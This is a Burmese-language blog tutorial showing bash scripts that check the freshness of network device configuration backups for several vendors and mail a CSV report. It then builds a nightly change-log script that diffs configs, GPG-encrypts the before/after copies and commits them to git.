ဒီ post ကိုမဖတ်ခင်မှာ အရှေ့မှာစာရေးသူ ရေးထားတဲ့ FTP/TFTP ပေါ်မှာ network configuration files တွေကို automatic backup လုပ်တဲ့ပုံကို အပိုင်းနှစ်ခုခွဲပြီးတော့ ရေးထားတဲ့ “FTP/TFTP server ပေါ်မှာ network config တွေကို auto backup လုပ်ပုံ – အပိုင်း (၁)” နဲ့ “FTP/TFTP server ပေါ်မှာ network config တွေကို auto backup လုပ်ပုံ – အပိုင်း (၂)” ကိုအရင်သွားပြီး ဖတ်လိုက်ရင်ပိုပြီးတော့ အဆင်ပြေပါလိမ့်မယ်။ ဒါမှမဟုတ်ဘူး ကိုယ်စီမှာရှိပြီးသား network configuration files တွေကို ဒီ post ကနည်းနဲ့ standalone ပုံစံမျိုး bash programming ကို အသုံးပြုပြီးတော့ network configuration management system တစ်ခုတည်ဆောက်ချင်ရင်လည်း ဖြစ်ပါတယ်။ စာရေးသူအတွက်တော့ တစ်ခုပေါ်တစ်ခု အကြံရလိုက်ရင် ကောက်ရေးလိုက်ရင်းနဲ့ bash scripts လေးတွေထွက်လာလိုက်၊ python script လေးတွေထွက်လာလိုက်၊ ansible-playbook တွေကိုဖန်တီးလိုက်နဲ့ စိတ်ရှိတိုင်းကို automation လုပ်လို့ရတဲ့ အပိုင်းတွေကို အစပိုင်းမှာ အချိန်ပေးပြီးတော့ automate လုပ်ထားလိုက်ပါတယ်။ ဒီ့အတွက် မနက်တိုင်း ကိုယ်သောက်နေကြ ကော်ဖီကို စိတ်အေးလက်အေး သောက်နိုင်ပြီးတော့ အချိန်တန်ရင် ကိုယ်စီကို automatic csv file နဲ့ report ကို ကိုယ့်ရဲ့ mailbox ထဲရောက်လာတဲ့အတွက် တကူးတက တစ်ခုချင်းစီလိုက် စစ်နေစရာမလိုတော့ပါဘူး။ Email နဲ့ကိုယ့်ရဲ့ network configuration files တွေကိုပို့ရတာဖြစ်တဲ့အတွက် အရေးကြီးတဲ့ အချက်အလက်တွေကို encrypt လုပ်ပြီးတော့မှာ ပေးပို့မှာဖြစ်တဲ့အတွက် စိတ်ပူစရာမလိုပါ။ စာရေးသူ အရှေ့က post နှစ်ခုက ဆိုင်ရာဆိုင်ရာ network device configuration files တွေနဲ့ scripts တွေကို GitHub က ဒီ [link](https://github.com/tylalin/ITmatic101/tree/master/network_config_mgmt) မှာတင်ပေးထားပါတယ်။

[အပိုင်း(၂) ](https://www.itmatic101.com/2019/11/20/ftp-tftp-server-network-config-backup-part-2/)မှာ [housekeeping.sh](https://github.com/tylalin/ITmatic101/blob/master/network_config_mgmt/housekeeping.sh) နဲ့ [crontab](https://github.com/tylalin/ITmatic101/blob/master/network_config_mgmt/crontab) မှာ scheduler ဘယ်လို အလုပ်လုပ်သလဲဆိုတာနဲ့ အဆုံးသတ်ထားပါတယ်။ ဒီအပိုင်းမှာတော့ စနစ်တကျ ဆိုင်ရာ device configuration တွေကို /configs ဆိုတဲ့ directory အောက်မှာသိမ်းထားပြီးတဲ့နောက် ကိုယ်ရဲ့ FTP server ပေါ်က configuration backup file တွေ up-to-date ဖြစ်လား မဖြစ်ဘူးလားဆိုတာကို သိနိုင်ဖို့အတွက် ကိုယ်နေ့တိုင်းသွားပြီးတော့ /configs အောက်မှာစစ်ဖို့ရာအတွက် အချိန်တွေအများကြီးကုန်မှာဖြစ်သလို human-error လို့ခေါ်တဲ့ ကိုယ်တိုင် စစ်နေတုန်းမှာ ကိုယ့်ရဲ့ ပေါ့လျှော့မှုကြောင့် အချို့ဟာတွေမှာ မှားသွားနိုင်ပါတယ်။ ဒီ့အတွက် computer ရဲ့ ကျွမ်းကျင်ရာ repetition နဲ့ automation မှာ ကိုယ့်ရဲ့ ကြံဆမှုပေါ်မှာမူတည်ပြီးတော့ ကိုယ်နဲ့အဆင်ပြေဆုံးဖြစ်မယ့် programming ကိုအသုံးပြုသင့်တယ်။ ဒါမှလည်း ကိုယ့်အတွက် နေ့စဉ် ဝန်ပေါ့မှာပါ။ ဒီနေရာမှာ စာရေးသူ Linux ရဲ့ native shell ဖြစ်တဲ့ bash ကို တမင်တကာရွေးပြီးတော့ စမ်းသပ်အသုံးပြုကြည့်ပါတယ်။ Bash အလုပ်ဖြစ်မှန်းသိသော်လည်း network automation အတွက် configuration management အပိုင်းမှာ ဘယ်လောက်ထိ ကိုယ်သုံးနိုင်သလဲဆိုတာကို သိချင်တာလည်းပါတယ်။ ကြီးကျယ်ခမ်းနားအောင်လို့ configuration management လို့ဆိုသော်လည်း အရှင်းဆုံးပြောရရင် bash နဲ့ flat files တွေကိုဟိုစစ်ဒီစစ်လုပ်တာပါပဲ။ Ansible ဟာ အဲ့ဒီ configuration management အတွက်အလုပ် အရမ်းဖြစ်တဲ့ tools-chain တစ်ခုပါ။ ကိုယ်ဘယ်လောက်ဒီ Ansible platform ပေါ်မှာအလုပ်လုပ်နိုင်သလဲပေါ်မှာမူတည်ပြီးတော့ efficient ဖြစ်သလား မဖြစ်ဘူးလားဆိုတာ အဆုံးအဖြတ်ပေးနိုင်တယ်။ နောက်ပိုင်းမှာ စာရေးသူ infrastructure မှာ အသုံးပိုဝင်တဲ့ Terraform လိုမျိုး provisioning management tools-chain ကိုလည်း နည်းနည်းမျက်စိကျလာမိပါတယ်။ သိကျွမ်းတဲ့ လူတွေပြောပုံထောက်တော့ Terraform ဟာ provisioning နဲ့ deployment မှာ infrastructure အတွက် အသုံးအဝင်ဆုံးဖြစ်ပြီးတော့၊ နောက်ဆက်တွဲဖြစ်တဲ့ configuration management မှာတော့ Ansible ကိုပဲဆက်ပြီးတော့ အားကိုးနိုင်ပါတယ်။ နောက်ပိုင်း hybrid tools-chain များထပ်ပြီးတော့ ထွက်လာအုံးမလားတော့ မပြောတတ်ပါ။ မည့်သို့ပင်ဖြစ်စေ… တကယ့်ကိုမျက်စိကျစရာ automation ကမ္ဘာက tools-chain / tools-set တွေလို့ဆိုရမှာပါ။ DevOps culture ဟာအခုလိုမျိုး automation platform တွေကိုမွေးထုတ်ပေးလိုက်ပြီးတော့၊ နောက်တခါ အဲ့ဒီ automation platform တွေကပဲ DevOps culture ကိုပြန်ပြီးတော့ empower လုပ်ပေးနိုင်တဲ့ မြေသြစာ အဖြစ်တဖန် အသက်ပြန်ဝင်လာစေပါတယ်။ ပြောမယ်ဆိုရင်တော့ DevOps ရဲ့ ကြီးစိုးမူဟာ Cisco လိုမျိုး conservative ဖြစ်တဲ့ tech giant ကိုတောင် DevNet ဆိုပြီးတော့ revolutionise ဖြစ်စေခဲ့ပါတယ်။ စာရေးသူတို့ တွေးနေကြ sysadmin / network engineer mindset နဲ့အရှေ့မှာ သိပ်ပြီးတော့ မလွယ်ကူတော့ပါဘူး။ နည်းပညာလောကထဲမှာ ဒီထက်မကတဲ့ အပြောင်းအလဲတွေကိုယ့် ပတ်ဝန်းကျင်မှာ ထက်ပြီးတော့ တွေ့လာမြင်လာရအုံးမှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-759690e107a6ea5503b84d06256a3a2ebc35fdf7%2FScreenshot-from-2020-09-17-22-11-52-1024x806.png?alt=media" alt=""><figcaption></figcaption></figure>

အခုတော့… စာရေးသူရဲ့ bash programming နဲ့ file တွေကို ဘယ်လိုမျိုး manage လုပ်သလဲဆိုတာကို အခြေခံအဖြစ်မြင်စေချင်ပြီးတော့၊ automation လုပ်လို့ရနိုင်တဲ့ အကျိုးကျေးဇူးတွေကို မြင်နိုင်ဖို့ရာအတွက် ကြိုးစားကြည့်ရအောင်။ ဒီလို အခြေခံကျတဲ့ bash လိုမျိုးဟာနဲ့ automation တစ်ခုတည်ဆောက်နိုင်ရင် အခြားသော automation platform တွေကို အသုံးပြုပြီးတော့ leverage ပိုပြီးရနိုင်သလဲဆိုတာကို မြင်စေချင်ပါတယ်။ အရင်ဆုံး backup report အတွက်အသုံးပြုတဲ့ bash script အကြောင်းအရင်ဆုံးသွားလိုက်ရအောင်။ ဒီ script ဟာစာရေးသူ housekeeping လုပ်ပြီးတော့ Cisco, Huawei, HPE, MikroTik နဲ့ FortiGate configuration backup file တွေကို /configs directory အောက်မှာသိမ်းဆည်းပြီးတဲ့နောက် ကိုယ့်ရဲ့ file တွေ up-to-date မှဖြစ်ရဲ့လားလို့ စစ်ဖို့သိနိုင်ဖို့ အတွက် အပတ်တိုင်း crontab နဲ့ schedule လုပ်ပြီးတော့ run တဲ့ script ပါ။ ဒီ file ရဲ့နာမည်ကတော့ backup\_report.sh ပါ။ GitHub မှာတော့ ဒီ [link](https://github.com/tylalin/ITmatic101/blob/master/network_config_mgmt/backup_report.sh) မှာသွားကြည့်လို့ရပါတယ်။

```
#!/bin/bash

td=$(date +%Y%m%d)
touch /backup_reports/backup_report_"$td".csv
echo "Network Device Name","Last Config Backup File","File Age","Status" > /backup_reports/backup_report_"$td".csv

# Cisco devices' config backup check
cd /configs/cisco
while d= read -r line
do
	last=$(ls -t1 | grep $line | head -1)
    if [ -f "$last" ]; then
        fd=$(date +%s -r $last)
        cd=$(date +%s)
        diff=`expr $cd - $fd`
        if [ "$diff" -gt 864000 ]; then 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
        else 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
        fi
    else
        echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
    fi
done < /scripts/inventory/cisco


# HPE devices' config backup check
cd /configs/hpe
while d= read -r line
do
	last=$(ls -t1 | grep $line | head -1)
    if [ -f "$last" ]; then
        fd=$(date +%s -r $last)
        cd=$(date +%s)
        diff=`expr $cd - $fd`
        if [ "$diff" -gt 864000 ]; then 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
        else 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
        fi
    else
        echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
    fi
done < /scripts/inventory/hpe


# FortiGate devices' config backup check
cd /configs/fortigate
while d= read -r line
do
	last=$(ls -t1 | grep $line | head -1)
    if [ -f "$last" ]; then
        fd=$(date +%s -r $last)
        cd=$(date +%s)
        diff=`expr $cd - $fd`
        if [ "$diff" -gt 864000 ]; then 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
        else 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
        fi
    else
        echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
    fi
done < /scripts/inventory/fortigate


# Huawei devices' config backup check
cd /configs/huawei
while d= read -r line
do
	last=$(ls -t1 | grep $line | head -1)
    if [ -f "$last" ]; then
        fd=$(date +%s -r $last)
        cd=$(date +%s)
        diff=`expr $cd - $fd`
        if [ "$diff" -gt 864000 ]; then 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
        else 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
        fi
    else
        echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
    fi
done < /scripts/inventory/huawei


# MikroTik devices' config backup check
cd /configs/mikrotik
while d= read -r line
do
	last=$(ls -t1 | grep $line | head -1)
    if [ -f "$last" ]; then
        fd=$(date +%s -r $last)
        cd=$(date +%s)
        diff=`expr $cd - $fd`
        if [ "$diff" -gt 864000 ]; then 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
        else 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
        fi
    else
        echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
    fi
done < /scripts/inventory/mikrotik

echo "Weekly Config Backup Report for $td" | mailx -s "Backup Report $td" -a "/backup_reports/backup_report_"$td".csv" tyla@itmatic101.com
```

ဒီအပေါ်က script မှာ ထက်ခါသလဲလဲ အသုံးပြုတဲ့ code တွေကို တွေ့ရပါလိမ့်မယ်။ Bash programming ကိုအသုံးပြုခြင်းဖြင့် python မှာလိုမျိုး function တွေကို အလွယ်တကူ တည်ဆောက် နိုင်ပါတယ်။ ဒီထက်ကောင်းအောင်တော့ ပြင်ဆင်ပြီးတော့ code ကိုပြန်လည်ရေးနိုင်သော်လည်း လက်ရှိအနေအထားမှာတော့ အလုပ်လုပ်တဲ့ script တစ်ခုအနေနဲ့ သတ်မှတ်လိုက်ကြရအောင်။ Bash script ကို optimise ဘယ်လိုလုပ်သလဲဆိုတာပါ မြင်နိုင်အောင်လို့ အစမှာ bash ကို linear/sequential အတိုင်း execute လုပ်ရင် အခုလိုမျိုး တစ်လိုင်းပြီးတစ်လိုင်း shell commands တွေကို run သွားတာပဲဖြစ်ပါတယ်။ အနောက်မှာ function ကို အသုံးပြုပြီးတော့ code ကို compact ဖြစ်အောင် တည်ဆောက်နိုင်သလဲဆိုတာ ဆက်လက် ဖော်ပြပေးပါ့မယ်။ ဒီတစ်ခုမှာတော့…. ပထမအပိုင်းတပိုင်းကို ဘာလုပ်ထားသလဲဆိုတာ သဘောပေါက်တာနဲ့ နောက်အပိုင်းတွေ ကိုလည်းအလွယ်တကူ သဘောပေါက်ပါပြီ။ ဒီတော့ အပေါ်ဆုံးကနေစလိုက်ရအောင်။

```
td=$(date +%Y%m%d)
touch /backup_reports/backup_report_"$td".csv
echo "Network Device Name","Last Config Backup File","File Age","Status" > /backup_reports/backup_report_"$td".csv
```

ဒီတစ်ခုမှာ စာရေးသူ လိုအပ်တဲ့ဟာတွေကို အရင်ဆုံး setup လုပ်လိုက်တဲ့ သဘောပါ။ td ဆိုတဲ့ variable မှာ ဒီ script ကို run တဲ့နေ့စွဲကို စာရေးသူ အကြိုက်ဆုံး date format ကိုပြောင်းပြီးတော့ သိမ်းထားလိုက်တာပဲဖြစ်ပါတယ်။ ထွက်လာမယ့် date ရဲ့ format ကတော့ “20200916” ပဲဖြစ်ပါတယ်။ date ရဲ့ အနောက်က + ကတော့ output ကို format လုပ်မယ်လို့ပြောပြီးတော့ %Y%m%d ဆိုတာကတော့ year, month, day ဆိုပြီး format လေးကို output အနေနဲ့ လိုချင်တယ် ပြောထားတာပါ။ ပြီးတော့ တနေ့စာအတွက် .csv file တစ်ခုကို $td နဲ့ နေ့စွဲလေးအနောက်ကထည့်ပြီးတော့ touch နဲ့ ဖန်တီးထားလိုက်တာပါ။ ပြီးတာနဲ့ အဲ့ဒီ .csv file ရဲ့ column တစ်ခုချင်းစီမှာ header လေးတွေကို လိုက်ထည့်လိုက်ပါတယ်။ ရိုးရင်းတဲ့ setup အပိုင်းပါ။

နောက်တပိုင်းက device name တွေကို စီပြီးတော့ ထည့်ထားတဲ့ device inventory flat text file တစ်ခုလိုပါတယ်။ အဲ့ဒီ file ထဲမှာတော့ FTP server ပေါ်ကိုရောက်လာတဲ့ network configuration file name မှာပါတဲ့ device name တွေကိုထည့်ထားပေး ဖို့လိုပါလိမ့်မယ်။ ဒါမှ ကိုယ့်ရဲ့ bash script မှာ name ကို grep သုံးပြီးတော့ ရှာနိုင်မှာဖြစ်ပါတယ်။

```
# Cisco devices' config backup check
cd /configs/cisco
while d= read -r line
do
	last=$(ls -t1 | grep $line | head -1)
    if [ -f "$last" ]; then
        fd=$(date +%s -r $last)
        cd=$(date +%s)
        diff=`expr $cd - $fd`
        if [ "$diff" -gt 864000 ]; then 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
        else 
            echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
        fi
    else
        echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
    fi
done <  /scripts/inventory/cisco
```

ပထမတစ်လိုင်းမှာတော့ cd /configs/cisco ဆိုပြီးတော့ ကိုယ်အလုပ်လုပ်မယ့် directory ထဲကိုအရင်ပြောင်းလိုက်ပါတယ်။ ပြီးတော့ while loop ကို သုံးပြီးတော့ /scripts/inventory/cisco file ထဲမှာထည့်ထားတဲ့ device name ကို တစ်လိုင်းချင်းစီ လိုက်ဖတ်လိုက်ပြီးတော့၊ အဲ့ဒီ device name နဲ့ match ဖြစ်တဲ့ file နာမည်ကို /configs/cisco directory အောက်မှာ ls -t1 | grep $line | head -1 ဆိုပြီးတော့ pipeline ကိုအသုံးပြုပြီးရှာလိုက်ပါတယ်။ ဒီ ls command ကတော့ နောက်ဆုံး modified လုပ်တဲ့ date ကို sort လုပ်ပြီးတော့ အပေါ်ဆုံးမှာ file ကို နောက်ဆုံးသော up-to-date ဖြစ်တဲ့ file ဆိုပြီးတော့ သတ်မှတ်လိုက်တာပါ။ နောက်ပြီးတော့ လက်ရှိအချိန်ကိုရှာပြီးတော့ နောက်ဆုံး modified လုပ်ထားတဲ့ modified date ကနေနုတ်လိုက်ရင် file ရဲ့ သတ်တမ်း ဘယ်လောက်ရှိပြီဆိုတာ သိပါပြီ။ ပြီးတာနဲ့ အဲ့ဒီ file သတ်တမ်း တစ်ပတ်ကျော်ကြာသွားပြီဆိုရင် Fail ဆိုပြီးတော့ အပေါ်မှာ အသစ်ဖန်တီးထားတဲ့ .csv file ထဲကို သင့်တော်သလို column တစ်ခုချင်းစီမှာ သွားပြီးတော့ append လုပ်လိုက်ပါတယ်။ လုပ်ငန်းစဉ်ကတော့ ဒါပါပဲ။ ရှင်းပါတယ်။ အချိန်ပေးပြီးတော့ syntax နဲ့ command usage တွေကို တစ်ခုစီမသွားလိုတော့ပါ။ အကျဉ်းချုပ်သဘောမျိုးသာ ရှင်းလိုက်ပါတယ်။ အဓိက ကတော့ concept နဲ့ workflow ကို နားလည်စေချင်တယ်။ ဒီ script နဲ့တွဲပြီးတော့ သုံးမယ့် directory structure ကိုတော့ အခုလိုမျိုးတွေ့မြင်နိုင်မှာပါ။

```
├── backup_reports
│   └── backup_report_20200917.csv
├── configs
│   ├── cisco
│   ├── fortigate
│   ├── hpe
│   ├── huawei
│   └── mikrotik
└── scripts
    ├── backup_report.sh
    ├── housekeeping.sh
    └── inventory
```

လက်ရှိမှာ စာရေးသူတို့ bash script ဟာလိုင်းပေါင်း ၁၀၀ ကျော်လောက်ရှိပါတယ်။ ဒီတော့… bash programming မှာ function ကိုအသုံးပြုပြီးတော့ code/script ကို compact ဖြစ်အောင်၊ repetition နည်းအောင်၊ runtime ပိုမြန်လာအောင် ဘယ်လိုမျိုး optimise လုပ်လို့ ရနိုင်သလဲဆိုတာ တချက်ကြည့်လိုက်ရအောင်။ အောက်မှာတော့ compact ဖြစ်အောင် လုပ်ထားတဲ့ script ပုံစံကို ပြပေးထားပါတယ်။

```
#!/bin/bash

td=$(date +%Y%m%d)
touch /backup_reports/backup_report_"$td".csv
echo "Network Device Name","Last Config Backup File","File Age","Status" > /backup_reports/backup_report_"$td".csv

# backup report function to repeat the same task for device type
backup_report() 
{
    vendor=$1
    cd /configs/$vendor
    while d= read -r line
    do
        last=$(ls -t1 | grep $line | head -1)
        if [ -f "$last" ]; then
            fd=$(date +%s -r $last)
            cd=$(date +%s)
            diff=`expr $cd - $fd`
            if [ "$diff" -gt 864000 ]; then 
                echo "$line","$last","$(($diff / 86400)) day(s) old","Warning"  >> /backup_reports/backup_report_"$td".csv
            else 
                echo "$line","$last","$(($diff / 86400)) day(s) old","Pass"  >> /backup_reports/backup_report_"$td".csv
            fi
        else
            echo "$line","File Not Found","Haven't run backup for this device yet","Fail"  >> /backup_reports/backup_report_"$td".csv
        fi
    done < /scripts/inventory/$vendor
}

for arg in cisco hpe fortigate huawei mikrotik
do
    backup_report $arg
done

echo "Weekly Config Backup Report for $td" | mailx -s "Backup Report $td" -a "/backup_reports/backup_report_"$td".csv" tyla@itmatic101.com
```

အခုဆိုရင်တော့ မြင်တဲ့အတိုင်း script ကတော်တော်လေးကို compact ဖြစ်သွားပါပြီ။ GitHub မှာသွားပြီးတော့ ကြည့်ချင်တယ်ဆိုရင်တော့ ဒီ [link](https://github.com/tylalin/ITmatic101/blob/master/network_config_mgmt/backup_report_compact.sh) ကနေသွားကြည့်နိုင်ပါတယ်။ လိုချင်တဲ့ outcome ထွက်ဖို့အတွက် ကိုယ်ကြိုက်တဲ့ ပုံစံမျိုးကို အသုံးပြုပြီးတော့ optimise လုပ်လို့ ရပါတယ်။ စာရေးသူအတွက်တော့… အခု script/code လောက်ရပြီဆိုရင် functional automation လောက်ဖြစ်မယ်ထင်ပါတယ်။ အခုဆိုရင်… ကိုယ် FTP server ပေါ်မှာ backup လုပ်ထားတဲ့ network configuration file တွေ up-to-date ဖြစ်လား မဖြစ်ဘူးလား အပတ်တိုင်းသိနိုင်အောင်လို့ crontab ကို အသုံးပြုပြီးတော့ weekly အတွက် schedule လုပ်ထားလိုက်ရုံပါပဲ။ Crontab ကို ဒီ [link](https://github.com/tylalin/ITmatic101/blob/master/network_config_mgmt/crontab) ကနေသွားကြည့်လို့ရပါတယ်။ ဒီအပိုင်းမှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။ နောက်အပိုင်းမှာတော့… change management အတွက် bash ကိုအသုံးပြုပြီးတော့ ပြောင်းလဲသွားတဲ့ network configuration file တွေနဲ့ ဘယ်နားမှာ ဘယ်လိုပြောင်းသွားသလဲ ဆိုတာကို track လုပ်နိုင်အောင် automate လုပ်တဲ့ပုံစံလေး တစ်ခုကို ဆက်လက်ဆွေးနွေးပြချင်ပါတယ်။ အားလုံးအတွက် စိတ်ဝင်စားစရာ တစ်ခုဖြစ်မယ်လို့လည်း မျှော်လင့်ရင်းနဲ့ ဒီအပိုင်းကို အဆုံးသတ်လိုက်ပါတော့မယ်။


# Bash နဲ့ Network Configuration Management system တစ်ခုတည်ဆောက်ပုံ – အပိုင်း(၂)

အရှေ့မှာတော့ bash programming ကိုအသုံးပြုပြီးတော့ ကိုယ် backup လုပ်ထားတဲ့ network configuration files တွေ up-to-date ဖြစ်မဖြစ် စစ်ကြည့်ဖို့အတွက် ညတိုင်း crontab နဲ့ run လို့ရတဲ့ bash script တစ်ခုကိုတည်ဆောက်ပြထားပါတယ်။ ပထမဆုံး မျက်လုံးထဲမြင်အောင် script ကို serial / sequential ပုံစံမျိုးနဲ့ ရေးထားပြီးတော့၊ ဒုတိယတခုမှာတော့ compact ဖြစ်အောင် ဘယ်လိုလုပ်လို့ရသလဲဆိုတာကို function သုံးပြီးတော့ တူတဲ့ code တွေကို ထပ်ခါထပ်ခါ loop နဲ့ပတ်ပြီးတော့ အကြိမ်ကြိမ် run လို့ရအောင် optimise လုပ်ကြည့်ပါတယ်။ အမြင်အားဖြင့် line အရေအတွက် နည်းသွားတဲ့အပြင် runtime မှာလည်း ပိုပြီးတော့ တွင်ကျယ်လာတာကို တွေ့နိုင်မှာပါ။ ဒီ post မှာတော့ အရှေ့မှာပြောထားတဲအတိုင်း configuration change management ပုံစံတစ်ခုရအောင်လို့ bash ကိုပဲအသုံးပြုပြီးတော့ ဘယ်နေ့မှာဘယ်သူက ဘယ် network device ပေါ်မှာ configuration သွားပြောင်းသလဲဆိုတာသိနိုင်အောင်လို့ bash နဲ့ ညတိုင်းသွားကြည့်ပြီး ကိုယ့်ကို email ကနေတဆင့် အသိပေးနိုင်အောင်ဖို့အတွက်လုပ်တဲ့ workflow တစ်ခုပါ။ ထို email နဲ့အတူ ကိုယ့်ရဲ့ configuration file ကို before နဲ့ after ပြောင်းလဲသွားတဲ့ပုံစံကိုကြည့်ဖို့အတွက် config file ကိုပါ attachment အနေနဲ့ တွဲပြီးတော့ ထည့်ပေးလိုပါတယ်။ ပြဿနာက email ဟာ သူ့တစ်ခုတည်းအသုံးပြုရင် plaintext နဲ့ message ရော၊ attachment files တွေကို အရှိအတိုင်းပဲပို့ပါတယ်။ ကိုယ့်ရဲ့ network config file မှာအရေးကြီးတဲ့ အချက်အလက်တွေ ပါဝင်တာမို့ ဒီအတိုင်း ပို့မယ်ဆို မလုံခြုံနိုင်ပါ။ ဒီ့အတွက် စာရေးသူ public key encryption ဖြစ်တဲ့ GPG ကိုအသုံးပြုထားပါတယ်။ GPG key ကိုတော့ကိုယ်ကြိုက်သလို management လုပ်နိုင်ပြီးတော့၊ key management system တစ်ခုကိုအသုံးပြုပြီးတော့ အခြားသောကိုယ့်ရဲ့ team နဲ့ key ကို distribute လုပ်နိုင်ပါတယ်။ ကိုယ်သတိထားရမှာက ဘယ် private key ကိုမှ email တို့ messaging တို့ကနေ မ share ရပါ။ ဒီ private / public keys တွေကို management လုပ်တဲ့ topic ဟာ အခြားသော ဆွေးနွေးနိုင်တဲ့ subject တစ်ခုဖြစ်တဲ့အတွက် နောက်မှရေးဖို့အတွက် ချန်ထားလိုက်ပါတော့မယ်။ ဒီ post မှာ GPG key pair ကို issue လုပ်တဲ့ပုံစံ၊ public key ကို import / export လုပ်တဲ့ပုံစံ နဲ့ gpg ရဲ့ CLI commands အချို့ကဖော်ပြပေးသွားပါ့မယ်။ အရင်ဆုံးအနေနဲ့ bash script ကိုကြည့်လိုက်အောင်။

```
#!/bin/bash

td=$(date +%Y%m%d) 
chg="false"

# diff report function to repeat the same task for device type
diff_report() 
{
    vendor=$1
    cd /config/$vendor
    while d= read -r line
    do
        last=$(ls -t1 | grep $line | head -1)
        if [ -f "$last" ]; then
            if [ $vendor == huawei ]; then
                unzip -q $last -d /scripts/temp
                mv /scripts/temp/vrpcfg.cfg /scripts/temp/$line
            else
                cp $last /scripts/temp/$line
            fi

            if [ ! -f /scripts/baseline/$line ]; then
                cp /scripts/temp/$line /scripts/baseline/$line
            else
                if [ $vendor == mikrotik ]; then
                    diff -u <(tail -n +2 /scripts/baseline/$line) <(tail -n +2 $last) 1>/dev/null
                else
                    diff -u /scripts/baseline/$line /scripts/temp/$line 1>/dev/null
                fi     
                
                if [ ! $? == "0" ]; then
                    cp /scripts/baseline/$line /scripts/temp/$line-$td-before
                    cd /scripts/temp/
                    gpg --yes --always-trust -e -r "itmatic101" $line-$td-before
                    zip -q /diff_reports/changelog_$td.zip $line-$td-before.gpg; cd - 1> /dev/null;
                    echo -e "\n$line changelog:" &>> /diff_reports/changelog_$td.log
                    echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" &>> /diff_reports/changelog_$td.log
                    
                    if [ $vendor == mikrotik ]; then
                        diff -u <(tail -n +2 /scripts/baseline/$line) <(tail -n +2 $last) &>> /diff_reports/changelog_$td.log
                    else    
                        diff -u /scripts/baseline/$line /scripts/temp/$line &>> /diff_reports/changelog_$td.log
                    fi
                    
                    echo -e "\n###############################################################" &>> /scripts/diff_reports/changelog_$td.log
                    cp /scripts/temp/$line /scripts/baseline/$line
                    cp /scripts/baseline/$line /scripts/temp/$line-$td-after
                    cd /scripts/temp/
                    gpg --yes --always-trust -e -r "itmatic101" $line-$td-after
                    zip -q /diff_reports/changelog_$td.zip $line-$td-after.gpg; cd - 1> /dev/null;
                    chg="true"
                fi
            fi
        fi
    done < /scripts/inventory/$vendor
}

for arg in cisco hpe fortigate huawei mikrotik
do
    diff_report $arg
done

if [ "$chg" == true ]; then
    cd /diff_reports/
    gpg --yes --always-trust -e -r "itmatic101" changelog_$td.log
    zip -q changelog_$td.zip changelog_$td.log.gpg
    echo "Config Changelog for $td" | mailx -s "Config Changelog Report $td" -a "/diff_reports/changelog_$td.zip" tyla@itmatic101.com

    # replicate the baseline to latest in config
    rsync -azh /scripts/baseline/ /config/latest/

    # git auto version control on /config/latest/
    cd /config/latest/
    git add *
    git commit -am "auto commit for $td"
    git push origin master
fi      

# cleanup unnecessary files 
rm /scripts/temp/* 2> /dev/null
rm /diff_reports/*.zip 2> /dev/null
rm /diff_reports/*.gpg 2> /dev/null
```

ဒီ script မှာတော့ function ကို အသုံးပြုပြီးတော့ argument ကိုတစ်ခုပြီးတော့ တစ်ခုထည့်ပြီးတော့ loop ထဲမှာပတ်ပြီးတော့ automate လုပ်တဲ့ပုံစံမျိုးနဲ့ပဲ တိုက်ရိုက်ရှင်းလိုက်ပါတော့မယ်။ တပိုင်းပြီး တပိုင်းသွားလိုက်ရအောင်။ ပထမဆုံး အပိုင်းဖြစ်တဲ့ variable နှစ်ခုကို ထိပ်မှာအရင်ဆုံး ဖန်တီးလိုက်ပါတယ်။ ပထမဆုံး တစ်ခုက td ဆိုတဲ့ လက်ရှိနေ့စွဲကို စာရေးသူ နှစ်သက်တဲ့ format နဲ့ ပြောင်းပြီးတော့ ယူလိုက်တာဖြစ်ပြီးတော့။ ဒုတိယတစ်ခုက chg ဆိုတဲ့ boolean ကို false နဲ့ စလိုက်ပါတယ်။ change ရှိလား မရှိဘူးလားကို သိနိုင်အောင်လို့ chg ဆိုတဲ့ boolean flag ကိုအသုံးပြုလိုက်ခြင်းဖြစ်ပါတယ်။

```
td=$(date +%Y%m%d) 
chg="false"
```

